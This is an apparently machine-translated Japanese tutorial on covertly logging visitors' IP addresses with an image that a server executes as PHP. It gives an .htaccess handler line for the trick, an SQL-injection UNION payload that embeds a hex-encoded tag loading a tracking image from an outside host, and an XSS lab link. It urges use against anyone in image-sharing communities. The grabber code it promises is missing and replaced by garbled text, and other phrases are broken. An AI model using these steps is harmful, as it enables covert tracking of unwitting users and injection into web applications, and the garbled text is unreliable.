このチュートリアルでは、写真で IP アドレスを盗む方法を学びます。私のアイデアは、.htaccess ファイルを変更して、jpg ファイルを php ファイルとして解析することです。
.htaccess に追加する必要があるコードは次のとおりです:
AddHandler application/x-httpd-php5 .jpg
次に、以下のコードをメモ帳にコピーし、grabber.jpg という名前を付けます
リーリーgrabber.jpg の権限を 755 に設定し、別の写真を見つけて、n00b.png という名前を付け、graber.jpg と同じディレクトリに置きます。
これで準備は完了です。誰かが photograbber.jpg を閲覧すると、その IP アドレスが記録されます。
(翻訳者注: これらは私たちの個人的なウェブサイトスペースにアップロードする必要があります)
POC:
(翻訳者注: 著者はここに IP の取得方法のデモンストレーション写真を投稿しました。皆さんのプライバシーを守るため、私は投稿しませんでした。読者は著者のブログにアクセスして閲覧できます。)
この時点で、写真を使用する準備が整いました。
それではSQLiを使ってIPアドレスを取得する方法についても説明したいと思います。実際、写真を使用して IP アドレスを盗むのは非常に高速です。SQLi を使用する理由はありませんが、読者がより多くの知識を得ることができるように、次のように説明します。
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' ユニオン選択 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f7465 73745f6c61622f696d61676569702f7472796d652e6a7067223e,3#それでは、xss を使用して IP アドレスを取得する方法について説明しましょう:
http://leettime.net/xsslab1/chalg1.php?name=&submit=検索
はい、以上です。
実際、ほとんどのコミュニティでは写真の公開が許可されているため、この方法を使用して写真にアクセスするすべてのユーザーの IP アドレスを取得できます。
上記は、編集者が PHP に基づいて写真から IP アドレスを取得する方法について紹介した関連コンテンツです。皆様のお役に立てれば幸いです。 として扱うことです。